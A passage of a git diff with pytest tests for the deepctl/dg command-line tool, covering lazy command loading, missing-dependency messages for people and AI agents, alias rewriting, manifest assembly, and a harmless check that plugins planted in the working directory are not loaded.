+    def ghost(self, monkeypatch: pytest.MonkeyPatch) -> dict[str, Any]:
+        entry = {
+            "module": "deepctl_cmd_ghost.command",
+            "attr": "GhostCommand",
+            "dist": "deepctl-cmd-ghost",
+            "summary": "A command whose package is gone",
+            "hidden": False,
+            "requires_auth": False,
+        }
+        commands = dict(_manifest.commands(), ghost=entry)
+        monkeypatch.setattr(_manifest, "commands", lambda: commands)
+        return entry
+
+    def test_human(
+        self, fresh_cli: _cli.LazyGroup, ghost: Any, capsys: pytest.CaptureFixture[str]
+    ) -> None:
+        with (
+            patch("deepctl_core.output.is_agentic", return_value=False),
+            patch("deepctl_core.output.is_ai_agent", return_value=False),
+        ):
+            with pytest.raises(SystemExit) as exc:
+                _cli.run(["ghost"], prog="dg")
+        assert exc.value.code == 1
+        out = capsys.readouterr()
+        assert "dg ghost needs deepctl-cmd-ghost, which isn't installed." in out.err
+        assert "Reinstall dg with the tool you installed it with." in out.err
+        assert "Traceback" not in out.err
+
+    def test_agent_hint(
+        self, fresh_cli: _cli.LazyGroup, ghost: Any, capsys: pytest.CaptureFixture[str]
+    ) -> None:
+        with patch("deepctl_core.output.is_ai_agent", return_value=True):
+            with pytest.raises(SystemExit) as exc:
+                _cli.run(["-o", "json", "ghost"], prog="dg")
+        assert exc.value.code == 1
+        payload = json.loads(capsys.readouterr().out)
+        assert payload["hint"] == (
+            "Tell the user dg needs deepctl-cmd-ghost. "
+            "Suggested fix: Reinstall dg with the tool you installed it with."
+        )
+
+    def test_json(
+        self, fresh_cli: _cli.LazyGroup, ghost: Any, capsys: pytest.CaptureFixture[str]
+    ) -> None:
+        with pytest.raises(SystemExit) as exc:
+            _cli.run(["-o", "json", "ghost", "--help"], prog="dg")
+        assert exc.value.code == 1
+        payload = json.loads(capsys.readouterr().out)
+        assert list(payload) == [
+            "error",
+            "status",
+            "code",
+            "hint",
+            "next_step",
+            "schema_version",
+            "details",
+        ]
+        assert payload["code"] == "dependency_missing"
+        assert payload["next_step"] is None
+        assert payload["details"] == {"dependency": "deepctl-cmd-ghost"}
+
+    def test_transitive_module_is_named(self) -> None:
+        error = ImportError("No module named 'ffmpeg'", name="ffmpeg")
+        entry = {"module": "deepctl_cmd_debug_audio.command", "dist": "x"}
+        assert _cli._missing_dependency(error, entry) == "ffmpeg"
+        own = ImportError("gone", name="deepctl_cmd_debug_audio")
+        assert _cli._missing_dependency(own, entry) == "x"
+
+    def test_missing_subcommand(
+        self,
+        fresh_cli: _cli.LazyGroup,
+        monkeypatch: pytest.MonkeyPatch,
+        capsys: pytest.CaptureFixture[str],
+    ) -> None:
+        entry = {
+            "module": "deepctl_cmd_debug_ghost.command",
+            "attr": "GhostCommand",
+            "dist": "deepctl-cmd-debug-ghost",
+            "summary": "Gone",
+            "hidden": False,
+            "requires_auth": False,
+        }
+        commands = dict(_manifest.commands(), **{"debug ghost": entry})
+        monkeypatch.setattr(_manifest, "commands", lambda: commands)
+        with pytest.raises(SystemExit) as exc:
+            _cli.run(["debug", "ghost"], prog="dg")
+        assert exc.value.code == 1
+        err = capsys.readouterr().err
+        assert "dg debug ghost needs deepctl-cmd-debug-ghost" in err
+
+
+class TestSubprocess:
+    def test_root_help_equals_eager(self, tmp_path: Path) -> None:
+        lazy = _dg(["--help"], tmp_path)
+        eager = _dg(["--help"], tmp_path, DEEPCTL_EAGER_LOAD="1")
+        assert lazy.returncode == eager.returncode == 0
+        assert lazy.stdout == eager.stdout
+        listed = re.findall(r"^  ([a-z][a-z0-9-]*)  ", lazy.stdout, re.M)
+        assert len(listed) >= 24
+        assert "transcribe" not in listed  # hidden
+        assert not any(name.startswith("debug-") for name in listed)
+
+    @pytest.mark.parametrize(
+        "args", [["models", "--help"], ["debug-audio", "--help"], ["listen", "--help"]]
+    )
+    def test_subcommand_help_equals_eager(
+        self, tmp_path: Path, args: list[str]
+    ) -> None:
+        lazy = _dg(args, tmp_path)
+        eager = _dg(args, tmp_path, DEEPCTL_EAGER_LOAD="1")
+        assert lazy.returncode == eager.returncode == 0
+        assert lazy.stdout == eager.stdout
+
+    def test_command_help_imports_only_that_command(self, tmp_path: Path) -> None:
+        modules = _imported(["models", "--help"], tmp_path)
+        commands = {m.split(".")[0] for m in modules if m.startswith("deepctl_cmd_")}
+        assert commands == {"deepctl_cmd_models"}
+
+    def test_dash_m_usage_names_dg(self, tmp_path: Path) -> None:
+        # CI=1 (from _env): agent mode, two prefixed lines and no Usage line.
+        proc = _dg(["nosuchcmd"], tmp_path, module=True)
+        assert proc.returncode == 1
+        assert proc.stderr.splitlines() == [
+            "ERROR: No such command 'nosuchcmd'.",
+            "HINT: Run dg --help to see valid options.",
+        ]
+
+    def test_dash_m_usage_names_dg_for_people(
+        self, tmp_path: Path, monkeypatch: pytest.MonkeyPatch
+    ) -> None:
+        monkeypatch.delenv("NO_COLOR", raising=False)
+        proc = _dg(["nosuchcmd"], tmp_path, module=True, CI="", TERM="xterm")
+        assert proc.returncode == 1
+        assert proc.stderr.startswith("Usage: dg [OPTIONS] COMMAND [ARGS]...\n")
+        assert "Try 'dg --help' for help." in proc.stderr
+        assert "No such command 'nosuchcmd'" in proc.stderr
+
+    def test_prog_name_in_agent_usage_hint(self, tmp_path: Path) -> None:
+        proc = _dg(["models", "--bogus"], tmp_path, DEEPCTL_PROG_NAME="foo")
+        assert proc.returncode == 1
+        assert proc.stdout == ""
+        assert proc.stderr.splitlines()[1:] == [
+            "HINT: Run foo models --help to see valid options."
+        ]
+
+    def test_prog_name_env(self, tmp_path: Path) -> None:
+        proc = _dg(["--help"], tmp_path, DEEPCTL_PROG_NAME="foo")
+        assert proc.stdout.startswith("Usage: foo [OPTIONS] COMMAND [ARGS]...")
+        version = _dg(["--version"], tmp_path, DEEPCTL_PROG_NAME="foo")
+        assert version.stdout.startswith("deepctl, version ")
+
+    def test_alias_help(self, tmp_path: Path) -> None:
+        proc = _dg(["debug-audio", "--help"], tmp_path)
+        assert proc.returncode == 0
+        assert proc.stdout.startswith("Usage: ")
+        assert " debug audio [OPTIONS]" in proc.stdout.splitlines()[0]
+
+
+class TestAliasesAreReserved:
+    """A plugin can't claim a hidden alias such as ``debug-audio``."""
+
+    def test_admit_refuses_an_alias(self) -> None:
+        from types import SimpleNamespace
+
+        from deepctl_core.plugin_manager import BUILTIN_COMMAND_MODULES, PluginManager
+
+        manager = PluginManager()
+        entry_point = SimpleNamespace(value="evil:Cmd", dist=None, name="x")
+        with patch.object(manager, "_warn_shadow") as warn:
+            kind = manager._admit(
+                "debug-audio", entry_point, BUILTIN_COMMAND_MODULES, frozenset()
+            )
+        assert kind is None
+        warn.assert_called_once_with("debug-audio", entry_point)
+        manager._allow_override = frozenset({"debug-audio"})
+        assert (
+            manager._admit(
+                "debug-audio", entry_point, BUILTIN_COMMAND_MODULES, frozenset()
+            )
+            == "override"
+        )
+
+    def test_eager_alias_runs_the_builtin(
+        self, fresh_cli: _cli.LazyGroup, monkeypatch: pytest.MonkeyPatch
+    ) -> None:
+        """Even with a command of that name loaded (eager mode), the alias
+        resolves to the built-in path first."""
+        monkeypatch.setattr(fresh_cli, "eager", True)
+        fresh_cli.commands["debug-audio"] = click.Command("debug-audio")
+        with patch(
+            "deepctl_core._plugin_trust.allow_override_names",
+            return_value=frozenset(),
+        ):
+            assert fresh_cli._expand_command_word(
+                click.Context(fresh_cli), ["debug-audio", "-f", "x.wav"]
+            ) == ["debug", "audio", "-f", "x.wav"]
+        with patch(
+            "deepctl_core._plugin_trust.allow_override_names",
+            return_value=frozenset({"debug-audio"}),
+        ):
+            assert fresh_cli._expand_command_word(
+                click.Context(fresh_cli), ["debug-audio"]
+            ) == ["debug-audio"]
+
+
+class TestHyphenatedSubcommands:
+    """``dg <group>-<x>`` runs ``dg <group> <x>`` for any subcommand of a
+    built-in group, a plugin's included (0.4.2 parity)."""
+
+    @pytest.fixture
+    def debug_with_extra(
+        self, fresh_cli: _cli.LazyGroup, monkeypatch: pytest.MonkeyPatch
+    ) -> _cli.LazyGroup:
+        group = click.Group("debug")
+        group.add_command(click.Command("extra"))
+        group.add_command(click.Command("audio"))
+        fresh_cli.commands["debug"] = group
+        return fresh_cli
+
+    @pytest.mark.parametrize(
+        ("args", "expected"),
+        [
+            (["debug-extra"], ["debug", "extra"]),
+            (["debug-extra", "--x", "debug-y"], ["debug", "extra", "--x", "debug-y"]),
+            (["debug-nosuch"], ["debug-nosuch"]),
+            (["debug-"], ["debug-"]),
+            (["listen-now"], ["listen-now"]),
+            (["transcribe", "debug-call.wav"], ["transcribe", "debug-call.wav"]),
+        ],
+    )
+    def test_rewrite(
+        self, debug_with_extra: _cli.LazyGroup, args: list[str], expected: list[str]
+    ) -> None:
+        ctx = click.Context(debug_with_extra)
+        assert debug_with_extra._expand_command_word(ctx, args) == expected
+
+    def test_groups_come_from_the_manifest(self) -> None:
+        assert _manifest.groups() == {"debug", "plugin", "skills"}
+
+    def test_hot_paths_never_scan_subcommand_entry_points(
+        self,
+        fresh_cli: _cli.LazyGroup,
+        monkeypatch: pytest.MonkeyPatch,
+        capsys: pytest.CaptureFixture[str],
+    ) -> None:
+        from importlib import metadata
+
+        seen: list[str] = []
+        real = metadata.EntryPoints.select
+
+        def spy(self: Any, **params: Any) -> Any:
+            seen.append(str(params.get("group")))
+            return real(self, **params)
+
+        monkeypatch.setattr(metadata.EntryPoints, "select", spy)
+        monkeypatch.setattr(sys, "argv", ["dg", "--version"])
+        from deepctl.main import main
+
+        main()
+        for args in (["--help"], ["login", "--help"]):
+            try:
+                _cli.run(args, prog="dg")
+            except SystemExit as exc:
+                assert not exc.code
+        capsys.readouterr()
+        assert not [g for g in seen if g.startswith("deepctl.subcommands.")], seen
+
+
+class TestCompletion:
+    def test_plugins_complete(self, tmp_path: Path) -> None:
+        """Completion offers plugin commands, as 0.4.x did."""
+        proc = _dg(
+            [],
+            tmp_path,
+            DEEPCTL_PROG_NAME="dg",
+            _DG_COMPLETE="bash_complete",
+            COMP_WORDS="dg ex",
+            COMP_CWORD="1",
+        )
+        assert proc.stdout.splitlines() == ["plain,example"], proc.stderr
+
+
+class TestHumanDependencyMessage:
+    def test_prog_is_not_markup(
+        self,
+        fresh_cli: _cli.LazyGroup,
+        monkeypatch: pytest.MonkeyPatch,
+        capsys: pytest.CaptureFixture[str],
+    ) -> None:
+        """DEEPCTL_PROG_NAME is shown as text on stderr."""
+        error = _cli.DependencyMissingError("[bold]x[/bold]", "models", "pkg")
+        with (
+            patch("deepctl_core.output.is_agentic", return_value=False),
+            patch("deepctl_core.output.is_ai_agent", return_value=False),
+        ):
+            error.show()
+        err = capsys.readouterr().err
+        assert "[bold]x[/bold] models needs pkg" in err
+        assert "Reinstall [bold]x[/bold]" in err
+
+
+class TestDashMSafePath:
+    def test_cwd_plugins_are_ignored(self, tmp_path: Path) -> None:
+        """`python -m deepctl` doesn't load a plugin planted in the cwd."""
+        work = tmp_path / "work"
+        work.mkdir()
+        sentinel = tmp_path / "IMPORTED"
+        (work / "cwdplug.py").write_text(
+            "import pathlib\n"
+            f"pathlib.Path({str(sentinel)!r}).write_text('x')\n"
+            "from deepctl_core import BaseCommand\n"
+            "class Cmd(BaseCommand):\n"
+            "    name = 'cwd-evil'\n    help = 'planted'\n"
+            "    def handle(self, *a, **k):\n        print('CWD PLUGIN RAN')\n"
+        )
+        info = work / "cwdplug-1.0.dist-info"
+        info.mkdir()
+        (info / "METADATA").write_text(
+            "Metadata-Version: 2.1\nName: cwdplug\nVersion: 1.0\n"
+        )
+        (info / "entry_points.txt").write_text(
+            "[deepctl.plugins]\ncwd-evil = cwdplug:Cmd\n"
+        )
+        for args in (["--help"], ["cwd-evil"]):
+            proc = subprocess.run(
+                [sys.executable, "-m", "deepctl", *args],
+                capture_output=True,
+                text=True,
+                cwd=work,
+                env=_env(tmp_path),
+                stdin=subprocess.DEVNULL,
+                timeout=120,
+            )
+            assert "cwd-evil" not in proc.stdout or args != ["--help"]
+            assert "CWD PLUGIN RAN" not in proc.stdout
+        assert not sentinel.exists()
+
+
+class TestOverrideWithoutPlugin:
+    """allow_override naming an alias or a name that no plugin took
+    still runs the built-in, lazily and eagerly."""
+
+    @pytest.mark.parametrize("eager", ["", "1"])
+    @pytest.mark.parametrize(
+        ("args", "usage"),
+        [
+            (["debug-audio", "--help"], " debug audio [OPTIONS]"),
+            (["login", "--help"], " login [OPTIONS]"),
+        ],
+    )
+    def test_builtin_runs(
+        self, tmp_path: Path, eager: str, args: list[str], usage: str
+    ) -> None:
+        config_dir = tmp_path / "config" / "deepctl"
+        config_dir.mkdir(parents=True, mode=0o700)
+        os.chmod(tmp_path / "config", 0o700)
+        config = config_dir / "config.yaml"
+        config.write_text("plugins:\n  allow_override: [debug-audio, login]\n")
+        os.chmod(config, 0o600)
+        extra = {"XDG_CONFIG_HOME": str(tmp_path / "config")}
+        if eager:
+            extra["DEEPCTL_EAGER_LOAD"] = eager
+        proc = _dg(args, tmp_path, **extra)
+        assert proc.returncode == 0, proc.stderr
+        assert usage in proc.stdout.splitlines()[0]
+
+
+class TestGroupDistMissing:
+    def test_hyphen_word_falls_through(
+        self, fresh_cli: _cli.LazyGroup, monkeypatch: pytest.MonkeyPatch
+    ) -> None:
+        """A plugin named <group>-<x> isn't hidden when the group's
+        dist is missing; the word is left for plugin discovery."""
+
+        def missing(ctx: click.Context, name: str) -> click.Command | None:
+            raise _cli.DependencyMissingError("dg", name, f"deepctl-cmd-{name}")
+
+        monkeypatch.setattr(fresh_cli, "get_command", missing)
+        ctx = click.Context(fresh_cli)
+        assert fresh_cli._expand_command_word(ctx, ["debug-foo"]) == ["debug-foo"]
diff --git a/tests/unit/test_main.py b/tests/unit/test_main.py
index 8c1fba60..132048f4 100644
--- a/tests/unit/test_main.py
+++ b/tests/unit/test_main.py
@@ -217,7 +217,8 @@ def test_failure_keeps_stdout_clean(self, capsys, argv, label):
         assert exc_info.value.code == 1
         captured = capsys.readouterr()
         assert captured.out == "", f"{label} polluted stdout: {captured.out!r}"
-        assert "Error" in captured.err
+        # "Error: ..." for people, "ERROR: ..." in agent mode.
+        assert "error" in captured.err.lower()
 
     def test_interrupt_message_goes_to_stderr(self, capsys):
         """The cancellation notice is a diagnostic, so it also stays off stdout."""
@@ -311,7 +312,8 @@ def test_hint_for_global_option_after_subcommand(self, capsys):
         assert exc_info.value.code == 1
         captured = capsys.readouterr()
         assert captured.out == ""
-        assert "Error" in captured.err
+        # "Error: ..." for people, "ERROR: ..." in agent mode.
+        assert "error" in captured.err.lower()
 
     def test_hint_names_global_option(self):
         """The helper recognizes root-group options and skips unknowns."""
@@ -320,7 +322,7 @@ def test_hint_names_global_option(self):
         hint = _global_option_hint("No such option: '--api-key'")
         assert hint is not None
         assert "--api-key" in hint
-        assert "before the subcommand" in hint
+        assert "is a global option, so it goes before the command" in hint
 
         hint = _global_option_hint("No such option: '--profile'")
         assert hint is not None
@@ -345,7 +347,91 @@ def test_usage_error_without_hint_keeps_contract(self, capsys):
         assert exc_info.value.code == 1
         captured = capsys.readouterr()
         assert captured.out == ""
-        assert "Error" in captured.err
+        # "Error: ..." for people, "ERROR: ..." in agent mode.
+        assert "error" in captured.err.lower()
+
+
+class TestUsageErrorModes:
+    """Usage/Try lines for people; two prefixed lines in agent mode."""
+
+    def _run(self, argv, capsys, *, agentic):
+        from deepctl.main import main
+
+        with (
+            # The name a launcher passes; pytest's argv[0] would show instead.
+            patch.dict("os.environ", {"DEEPCTL_PROG_NAME": "dg"}),
+            patch("sys.argv", argv),
+            patch("deepctl_core.output.is_agentic", return_value=agentic),
+            pytest.raises(SystemExit) as exc_info,
+        ):
+            main()
+        assert exc_info.value.code == 1
+        captured = capsys.readouterr()
+        assert captured.out == ""
+        return captured.err
+
+    def test_agent_mode_root_prints_error_and_hint_only(self, capsys):
+        err = self._run(["dg", "-o", "json", "--bogus"], capsys, agentic=True)
+        assert err.splitlines() == [
+            "ERROR: No such option '--bogus'. Did you mean '--verbose'?",
+            "HINT: Run dg --help to see valid options.",
+        ]
+
+    def test_agent_mode_subcommand_names_the_command(self, capsys):
+        err = self._run(["dg", "models", "--bogus"], capsys, agentic=True)
+        lines = err.splitlines()
+        assert lines[0].startswith("ERROR: No such option")
+        assert lines[1:] == ["HINT: Run dg models --help to see valid options."]
+
+    def test_agent_mode_global_option_hint_is_prefixed(self, capsys):
+        err = self._run(["dg", "models", "--profile", "staging"], capsys, agentic=True)
+        # Always exactly two lines: the placement hint replaces A-USAGE.
+        assert err.splitlines() == [
+            "ERROR: No such option '--profile'.",
+            "HINT: --profile is a global option, so it goes before the "
+            "command: dg --profile <value> models …",
+        ]
+
+    def test_human_mode_keeps_usage_and_try_lines(self, capsys):
+        err = self._run(["dg", "models", "--bogus"], capsys, agentic=False)
+        assert err.startswith("Usage: dg models [OPTIONS]")
+        assert "Try 'dg models --help' for help." in err
+        assert "Error: No such option" in err
+        assert "ERROR:" not in err and "HINT:" not in err
+
+    @pytest.mark.parametrize("token", ["--[/x]", "--[red]x"])
+    def test_human_mode_message_is_not_markup(self, capsys, token):
+        err = self._run(["dg", "models", token], capsys, agentic=False)
+        assert f"Error: No such option '{token}'" in " ".join(err.split())
+        assert "Traceback" not in err and "MarkupError" not in err
+
+    def test_human_global_option_hint_uses_real_names(self, capsys):
+        err = self._run(["dg", "models", "--profile", "x"], capsys, agentic=False)
+        flat = " ".join(err.split())
+        assert (
+            "Hint: --profile is a global option, so it goes before the "
+            "command: dg --profile <value> models …"
+        ) in flat
+
+    def test_global_option_hint_leaves_out_value_for_flags(self):
+        import click
+
+        from deepctl.main import _global_option_hint, cli
+
+        flag = next(
+            opt
+            for p in cli.params
+            if getattr(p, "is_flag", False)
+            for opt in getattr(p, "opts", [])
+            if opt.startswith("--")
+        )
+        ctx = click.Context(cli, info_name="foo")
+        sub = click.Context(click.Command("models"), parent=ctx, info_name="models")
+        hint = _global_option_hint(f"No such option: '{flag}'", sub, markup=False)
+        assert hint == (
+            f"{flag} is a global option, so it goes before the command: "
+            f"foo {flag} models …"
+        )
 
 
 class TestRichTraceback:
@@ -380,37 +466,36 @@ def crash() -> None:
         assert sys.excepthook.__module__ == "rich.traceback"
 
 
-class TestHyphenatedCommands:
-    """`group-subcommand` is expanded only where the command name goes."""
+def resolved_args(argv):
+    """The argv the root group resolves its command from (after root
+    options), with any hidden alias already rewritten; None when no command
+    is resolved."""
+    seen = []
 
-    @pytest.fixture
-    def expand(self):
-        from types import SimpleNamespace
+    def record(self, ctx, args):
+        seen.append(list(args))
+        raise click.exceptions.Exit(0)
 
-        from deepctl.main import preprocess_hyphenated_commands
+    with patch.object(click.Group, "resolve_command", record):
+        try:
+            cli.main(args=list(argv), prog_name="dg", standalone_mode=False)
+        except click.exceptions.Exit:
+            pass
+    return seen[0] if seen else None
 
-        def select(group):
-            if group == "deepctl.commands":
-                return [SimpleNamespace(name="debug"), SimpleNamespace(name="listen")]
-            if group == "deepctl.subcommands.debug":
-                return [SimpleNamespace(name="audio")]
-            return []
 
-        with patch("importlib.metadata.entry_points") as mock_eps:
-            mock_eps.return_value.select.side_effect = select
-            yield preprocess_hyphenated_commands
+class TestHiddenAliases:
+    """`group-subcommand` aliases come from the manifest and rewrite only the
+    command word."""
 
     @pytest.mark.parametrize(
         ("args", "expected"),
         [
             (["debug-audio", "--help"], ["debug", "audio", "--help"]),
-            (["--quiet", "debug-audio"], ["--quiet", "debug", "audio"]),
-            (["-qv", "debug-audio"], ["-qv", "debug", "audio"]),
-            (["--output=json", "debug-audio"], ["--output=json", "debug", "audio"]),
-            (
-                ["--profile", "debug-x", "debug-audio"],
-                ["--profile", "debug-x", "debug", "audio"],
-            ),
+            (["--quiet", "debug-audio"], ["debug", "audio"]),
+            (["-qv", "debug-audio"], ["debug", "audio"]),
+            (["--output=json", "debug-audio"], ["debug", "audio"]),
+            (["--profile", "debug-x", "debug-audio"], ["debug", "audio"]),
             (["listen", "debug-call.wav"], ["listen", "debug-call.wav"]),
             (
                 ["speak", "-v", "debug-voice", "hello"],
@@ -420,19 +505,29 @@ def select(group):
                 ["debug-audio", "debug-audio.wav"],
                 ["debug", "audio", "debug-audio.wav"],
             ),
-            (["--", "debug-audio"], ["--", "debug-audio"]),
-            (["-ojson", "debug-audio"], ["-ojson", "debug", "audio"]),
-            (["-pq", "debug-audio"], ["-pq", "debug", "audio"]),
-            (["-qpprod", "debug-audio"], ["-qpprod", "debug", "audio"]),
-            (["-cconfig.yaml", "debug-audio"], ["-cconfig.yaml", "debug", "audio"]),
-            (
-                ["-qp", "debug-x", "debug-audio"],
-                ["-qp", "debug-x", "debug", "audio"],
-            ),
-            (["-o", "json", "debug-audio"], ["-o", "json", "debug", "audio"]),
+            (["-ojson", "debug-audio"], ["debug", "audio"]),
+            (["-pq", "debug-audio"], ["debug", "audio"]),
+            (["-qpprod", "debug-audio"], ["debug", "audio"]),
+            (["-qp", "debug-x", "debug-audio"], ["debug", "audio"]),
+            (["-o", "json", "debug-audio"], ["debug", "audio"]),
+            (["debug-probe", "-x"], ["debug", "probe", "-x"]),
             (["listen-now"], ["listen-now"]),
-            ([], []),
+            (["transcribe", "debug-call.wav"], ["transcribe", "debug-call.wav"]),
         ],
     )
-    def test_expansion(self, expand, args, expected):
-        assert expand(args) == expected
+    def test_alias_rewrites_only_the_command_word(self, args, expected):
+        assert resolved_args(args) == expected
+
+    def test_every_alias_comes_from_the_manifest(self):
+        from deepctl import _manifest
+
+        aliases = _manifest.aliases()
+        assert aliases == {
+            f"debug-{name}": ["debug", name]
+            for name in ("audio", "browser", "network", "probe", "toolkit")
+        }
+        for alias in aliases:
+            assert alias not in cli.list_commands(click.Context(cli))
+
+    def test_preprocessor_is_gone(self):
+        assert not hasattr(_cli_mod, "preprocess_hyphenated_commands")
diff --git a/tests/unit/test_manifest.py b/tests/unit/test_manifest.py
new file mode 100644
index 00000000..7bd24062
--- /dev/null
+++ b/tests/unit/test_manifest.py
@@ -0,0 +1,366 @@
+"""The command manifest: fragments, assembly, schema and drift.
+
+CI runs these on every PR, so a fragment that breaks the schema or a rule
+that spans fragments (a duplicate command, alias or tool name) fails there.
+"""
+
+from __future__ import annotations
+
+import json
+import os
+import shutil
+import subprocess
+import sys
+from pathlib import Path
+from typing import Any
+
+import pytest
+
+from deepctl import _manifest, _manifest_build
+from deepctl._manifest_build import ManifestError, assemble, build, load_fragments
+
+REPO = Path(__file__).resolve().parents[2]
+SCHEMA = REPO / "docs" / "contracts" / "manifest.schema.json"
+FRAGMENTS = REPO / "src" / "deepctl" / "_manifest.d"
+
+
+def _fragment(name: str, **extra: Any) -> dict[str, Any]:
+    data = {
+        "name": name,
+        "module": f"pkg_{name.replace('-', '_')}.command",
+        "attr": "Command",
+        "dist": f"pkg-{name}",
+        "summary": f"The {name} command",
+    }
+    data.update(extra)
+    return data
+
+
+def _write(directory: Path, *fragments: dict[str, Any]) -> Path:
+    directory.mkdir(exist_ok=True)
+    for fragment in fragments:
+        stem = (
+            f"{fragment['parent']}-{fragment['name']}"
+            if "parent" in fragment
+            else fragment["name"]
+        )
+        (directory / f"{stem}.json").write_text(json.dumps(fragment))
+    return directory
+
+
+class TestRepoManifest:
+    def test_assembles(self) -> None:
+        manifest = assemble(str(FRAGMENTS))
+        assert manifest["manifest_version"] == 1
+        assert len([p for p in manifest["commands"] if " " not in p]) == 24
+
+    def test_runtime_reads_the_same_manifest(self) -> None:
+        assert _manifest.load() == assemble(str(FRAGMENTS))
+        # From the source tree the fragments are used, never a stale file.
+        assert _manifest.source == "fragments"
+
+    def test_validates_against_the_schema(self) -> None:
+        import jsonschema  # a test dependency: this must never skip
+
+        schema = json.loads(SCHEMA.read_text())
+        jsonschema.Draft202012Validator.check_schema(schema)
+        jsonschema.validate(assemble(str(FRAGMENTS)), schema)
+        fragment_schema = {**schema["$defs"]["fragment"], "$defs": schema["$defs"]}
+        for path in sorted(FRAGMENTS.glob("*.json")):
+            jsonschema.validate(json.loads(path.read_text()), fragment_schema)
+
+    def test_check_cli(self) -> None:
+        proc = subprocess.run(
+            [sys.executable, "-m", "deepctl._manifest_build", "--check"],
+            capture_output=True,
+            text=True,
+            timeout=60,
+        )
+        assert proc.returncode == 0, proc.stderr
+
+    def test_builder_is_stdlib_only(self) -> None:
+        """It runs in the build_py hook, where only setuptools is installed."""
+        code = (
+            "import sys; before = set(sys.modules); "
+            "import deepctl._manifest_build as b; b.assemble(); "
+            "new = {m.split('.')[0] for m in set(sys.modules) - before}; "
+            "bad = sorted(m for m in new if m not in sys.stdlib_module_names "
+            "and m != 'deepctl'); print(bad); sys.exit(1 if bad else 0)"
+        )
+        proc = subprocess.run(
+            [sys.executable, "-c", code], capture_output=True, text=True, timeout=60
+        )
+        assert proc.returncode == 0, proc.stdout + proc.stderr
+
+
+class TestDrift:
+    """Every fragment matches the command class it names."""
+
+    @pytest.mark.parametrize("path", sorted(_manifest.commands()))
+    def test_fragment_matches_its_command(self, path: str) -> None:
+        import importlib
+
+        from deepctl_core.plugin_manager import PluginManager
+
+        entry = _manifest.commands()[path]
+        command_class = getattr(importlib.import_module(entry["module"]), entry["attr"])
+        instance = command_class()
+        assert instance.name == path.split(" ")[-1]
+        assert bool(getattr(instance, "requires_auth", False)) is entry["requires_auth"]
+        click_command = PluginManager()._create_click_command(instance)
+        assert click_command.short_help == entry["summary"]
+        assert bool(click_command.hidden) is entry["hidden"]
+        assert (click_command.deprecated or False) == entry.get("deprecated", False)
+        if " " not in path:
+            import click
+
+            assert bool(entry.get("group")) is isinstance(click_command, click.Group)
+            if isinstance(click_command, click.Group):
+                assert path in _manifest.groups()
+
+    def test_every_first_party_entry_point_has_a_fragment(self) -> None:
+        """Reverse drift: a built-in declared in a workspace pyproject but
+        missing from the manifest would be unreserved (a plugin could take
+        its name), so the two sets must be equal."""
+        try:
+            import tomllib
+        except ModuleNotFoundError:  # Python 3.10
+            import tomli as tomllib
+
+        declared: dict[str, str] = {}
+        for pyproject in sorted(REPO.glob("packages/deepctl-cmd-*/pyproject.toml")):
+            data = tomllib.loads(pyproject.read_text(encoding="utf-8"))
+            groups = data.get("project", {}).get("entry-points", {})
+            for group, entries in groups.items():
+                if group == "deepctl.commands":
+                    prefix = ""
+                elif group.startswith("deepctl.subcommands."):
+                    prefix = group.removeprefix("deepctl.subcommands.") + " "
+                else:
+                    continue
+                for name, value in entries.items():
+                    declared[f"{prefix}{name}"] = value.replace(" ", "")
+        manifest = {
+            path: f"{entry['module']}:{entry['attr']}"
+            for path, entry in _manifest.commands().items()
+        }
+        assert declared == manifest
+
+    def test_each_dist_declares_its_command(self) -> None:
+        """The named distribution declares the same entry point (entry points
+        stay declared for now), so ``dependency_missing`` names the right
+        package."""
+        from importlib import metadata
+
+        for path, entry in _manifest.commands().items():
+            group, _, name = path.rpartition(" ")
+            ep_group = f"deepctl.subcommands.{group}" if group else "deepctl.commands"
+            declared = {
+                (ep.group, ep.name): ep.value
+                for ep in metadata.distribution(entry["dist"]).entry_points
+            }
+            assert declared.get((ep_group, name)) == (
+                f"{entry['module']}:{entry['attr']}"
+            ), path
+
+
+class TestAssembleRules:
+    def test_duplicate_command_fails(self, tmp_path: Path) -> None:
+        # Same command path from two fragments (a subcommand fragment can't
+        # share a file name with the top-level one, so use the group twice).
+        fragments = [_fragment("a"), _fragment("a")]
+        with pytest.raises(ManifestError, match="duplicate command 'a'"):
+            build(fragments)
+
+    def test_duplicate_alias_across_fragments_fails(self, tmp_path: Path) -> None:
+        directory = _write(
+            tmp_path / "d",
+            _fragment("a", aliases=["shared"]),
+            _fragment("b", aliases=["shared"]),
+        )
+        with pytest.raises(ManifestError, match="duplicate command or alias name"):
+            assemble(str(directory))
+
+    def test_alias_that_is_a_command_name_fails(self, tmp_path: Path) -> None:
+        directory = _write(
+            tmp_path / "d", _fragment("a", aliases=["b"]), _fragment("b")
+        )
+        with pytest.raises(ManifestError, match="'b'"):
+            assemble(str(directory))
+
+    def test_duplicate_tool_across_fragments_fails(self, tmp_path: Path) -> None:
+        directory = _write(
+            tmp_path / "d",
+            _fragment("a", tools=["transcribe_file"]),
+            _fragment("b", tools=["transcribe_file"]),
+        )
+        with pytest.raises(ManifestError, match="duplicate tool name"):
+            assemble(str(directory))
+
+    def test_subcommand_needs_its_group(self, tmp_path: Path) -> None:
+        directory = _write(tmp_path / "d", _fragment("x", parent="nogroup"))
+        with pytest.raises(ManifestError, match="no fragment for its group"):
+            assemble(str(directory))
+
+    def test_file_name_must_match(self, tmp_path: Path) -> None:
+        directory = tmp_path / "d"
+        directory.mkdir()
+        (directory / "other.json").write_text(json.dumps(_fragment("a")))
+        with pytest.raises(ManifestError, match="must be named a.json"):
+            assemble(str(directory))
+
+    @pytest.mark.parametrize(
+        "bad",
+        [
+            {"name": "Bad"},
+            {"name": "a_b"},
+            {"module": "not a module"},
+            {"summary": ""},
+            {"hidden": "yes"},
+            {"deprecated": False},
+            {"aliases": ["Debug-Audio"]},
+            {"unknown": 1},
+        ],
+    )
+    def test_bad_fragment_fails(self, tmp_path: Path, bad: dict[str, Any]) -> None:
+        fragment = {**_fragment("a"), **bad}
+        directory = tmp_path / "d"
+        directory.mkdir()
+        (directory / f"{fragment['name']}.json").write_text(json.dumps(fragment))
+        with pytest.raises(ManifestError):
+            assemble(str(directory))
+
+    def test_assemble_writes_the_file(self, tmp_path: Path) -> None:
+        out = tmp_path / "_manifest.json"
+        manifest = assemble(str(FRAGMENTS), str(out))
+        assert json.loads(out.read_text()) == manifest
+        assert out.read_text() == _manifest_build.dumps(manifest)
+
+    def test_cli_check_fails_on_a_duplicate(self, tmp_path: Path) -> None:
+        directory = _write(
+            tmp_path / "d",
+            _fragment("a", aliases=["shared"]),
+            _fragment("b", aliases=["shared"]),
